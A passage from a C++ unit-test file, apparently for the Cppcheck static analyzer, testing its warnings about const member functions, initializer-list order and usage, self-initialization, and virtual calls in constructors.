\"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" 